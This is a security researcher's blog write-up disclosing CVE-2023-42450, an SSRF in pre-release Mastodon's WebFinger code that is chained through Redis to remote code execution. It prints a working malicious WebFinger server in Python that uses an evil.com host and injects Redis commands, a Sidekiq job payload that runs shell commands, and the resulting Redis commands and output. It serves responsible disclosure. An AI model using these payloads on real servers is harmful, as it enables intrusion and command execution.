12 Oct 2023

I contacted the Mastodon security team in August 2023 to report 2 vulnerabilities in Mastodon itself, the software running a self-hosted, globally interconnected microblogging community.

New versions of Mastodon were released in September and related GitHub Security Advisory (GHSAs) published:

• GHSA-hcqf-fw2r-52g4: Server-side request forgery
• GHSA-v3xf-c9qf-j667: Invalid domain name normalization

If you stumbled upon this toot, these are the security patches I’m writing about. I found these vulnerabilities interesting enough from a technical point of view to publish write-ups, which basically are the (slightly edited) reports sent to Mastodon’s security team.

This first blog post is about GHSA-hcqf-fw2r-52g4 (for which GitHub issued CVE-2023-42450), an SSRF which leads to remote code execution. tl;dr: pre-releases only, not exploitable in prod in default configuration.

A Server-Side Request Forgery (also known as SSRF) vulnerability is present in the WebFinger code. It allows an attacker to send arbitrary data to the Redis server and leads to arbitrary code execution under the mastodon user.

This vulnerability was introduced in July 2023 by these changes.

The vulnerability doesn’t exist in production mode because the behavior of the check_private_address function differs in development environments. This function is called during the socket creation used for HTTP requests, a counter-measure to prevent SSRF.

Note that the ALLOWED_PRIVATE_ADDRESSES setting variable whitelists specific addresses/subnets for outgoing HTTP queries; if set, production environments might be vulnerable.

If a Redis password is set, the Redis exploitation vector doesn’t work (unless the password is known). By default, the password is blank if Mastodon was installed using the command RAILS_ENV=production bundle exec rake mastodon:setup (or if this Digital Ocean tutorial was followed).

1. WebFinger requests can be triggered by authenticated users, eg. by searching for an account (/api/v2/search?q=joe%40evil.com&resolve=true&limit=5).
2. ActivityPub::FetchRemoteActorService::check_webfinger! makes a first HTTPS request to the domain specified (eg. /.well-known/webfinger?resource=acct:[email protected]).
3. A JSON-LD response is returned by the server. If the username or domain specified in the subject field don’t match the ones provided initially (here [email protected]), a second request is made to follow the redirection.
4. An invalid domain can be provided by a malicious server in the subject field. This domain is used directly to build the URI. If the domain ends with .onion, an HTTP URI is built.
5. Finally, Webfinger::webfinger_request creates a Request.

The URI controlled by an attacker is directly used to build an HTTP request. White spaces and line returns aren’t encoded, which is the root cause of this SSRF vulnerability.

Arbitrary file creation

Here’s the Python code of a malicious server which triggers the vulnerability and leads to the creation of the /run/shm/pwn file through SSRF. 3 commands are sent to the Redis service on 127.0.0.1:6379 to modify its configuration on-the-fly:

@app.route("/.well-known/webfinger")
def webfinger():
    cmd = ["config set dir /run/shm/", "config set dbfilename pwn", "save"]
    pwn = "\n\n".join(cmd)
    response = {
        "subject": f"acct:[email protected]:6379/\n\n\n{pwn}\n\n/.onion",
        "links": [
            {
                "rel": "self",
                "type": "application/activity+json",
                "href": "https://evil.com/host/users/john"
            }
        ]
    }
    return Response(json.dumps(response), mimetype="application/jrd+json")

The following strace output highlights Redis’ behavior:

# strace -p $(pidod redis-server) -ff -e chdir,rename,read -v -s 4096 |& grep -v 'EAGAIN\|redis-server'
[pid 42605] read(22, "GET /\n\n\nconfig set dir /run/shm/\n\nconfig set dbfilename pwn\n\nsave\n\n/.onion/.well-known/webfinger?resource=acct:[email protected]:6379/\n\n\nconfig set dir /run/shm/\n\nconfig set dbfilename pwn\n\nsave\n\n/.onion HTTP/1.1\r\nUser-Agent: http.rb/5.1.1 (Mastodon/4.2.0-beta1; +http://localhost:3000/)\r\nHost: 127.0.0.1\r\nDate: Tue, 15 Aug 2023 17:10:38 GMT\r\nAccept-Encoding: gzip\r\nAccept: application/jrd+json, application/json\r\nConnection: close\r\n\r\n", 16384) = 432
[pid 42605] chdir("/run/shm/")          = 0
[pid 42605] rename("temp-42605.rdb", "pwn") = 0
[pid 42605] chdir("/run/shm/")          = 0
[pid 42605] rename("temp-42605.rdb", "pwn") = 0
# ls -l /run/shm/pwn
-rw-rw---- 1 redis redis 187354 Aug 15 17:10 /run/shm/pwn

Redis post-exploitation might be used to eventually gain code execution under the redis user. I went another way and tried to find a more generic exploitation vector.

Remote command execution

Mastodon makes use of Sidekiq to run background jobs such as sending emails. Since job queues are handled by Redis (as explained here), the idea of crafting a malicious job to gain code execution emerged.

Digging into the Action Mailer source code confirmed that it’s possible, as shown by the following Python code which creates a malicious mailer job pushed to Redis:

def create_payload(command):
    payload = {
        "retry": False,
        "queue": "mailers",
        "class": "ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper",
        "wrapped": "ActionMailer::MailDeliveryJob",
        "args": [
            {
                "job_class": "ActionMailer::MailDeliveryJob",
                "queue_name": "mailers",
                "arguments": [
                    "Object",
                    "instance_eval",
                    "delivery_method",
                    {
                        "args": [command],
                        "_aj_ruby2_keywords": ["args"]
                    }
                ],
                "executions": 0,
                "exception_executions": {}
            }
        ]
    }
    return json.dumps(json.dumps(payload, separators=(",", ":")), separators=(",", ":")

payload = create_payload("`id>/tmp/pwn`")
cmd = ["sadd queues mailers", f"lpush queue:mailers {payload}"]

This code:

1. Crafts a malicious Ruby method which will be invoked by MailDeliveryJob.perform thanks to public_send, here Object.instance_eval("`id>/tmp/pwn`").
2. Embeds this payload as an ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper.
3. Encodes the payload as JSON to result in a Sidekiq job.
4. Pushes this job to the mailers queue through Redis (sadd queue:mailers, lpush queue:mailers "payload")

Here are the resulting Redis commands:

sadd queues mailers
lpush queue:mailers "{\"retry\":false,\"queue\":\"mailers\",\"class\":\"ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper\",\"wrapped\":\"ActionMailer::MailDeliveryJob\",\"args\":[{\"job_class\":\"ActionMailer::MailDeliveryJob\",\"queue_name\":\"mailers\",\"arguments\":[\"Object\",\"instance_eval\",\"delivery_method\",{\"args\":[\"`id>/tmp/pwn`\"],\"_aj_ruby2_keywords\":[\"args\"]}],\"executions\":0,\"exception_executions\":{}}]}"

The Ruby code is actually executed under the mastodon user, through the Sidekiq mailers queue:

$ cat /tmp/pwn
uid=1001(mastodon) gid=1001(mastodon) groups=1001(mastodon)

I doubt this is the only exploitation vector and other methods might exist, by the way. And note that HTTP requests made to Redis leave typical entries in the Redis server logs:

# grep POST /var/log/redis/redis-server.log | tail -1
10380:M 15 Aug 2023 11:33:21.791 # Possible SECURITY ATTACK detected. It looks like somebody is sending POST or Host: commands to Redis. This is likely due to an attacker attempting to use Cross Protocol Scripting to compromise your Redis instance. Connection aborted.

Don’t leave Mastodon, it’s far better than Twitter ;)

All in all, this vulnerability is not that useful from an attacker point of view. Indeed, it is not exploitable in production in default configurations and the affected version is a pre-release (>= 4.2.0-beta1, < 4.2.0-rc2). private_address_check being used for every HTTP queries, it effectively blocks SSRF attacks.

The second blogpost (GHSA-v3xf-c9qf-j667) will detail how attackers could spoof Mastodon instances depending on their domain names. Stay tuned!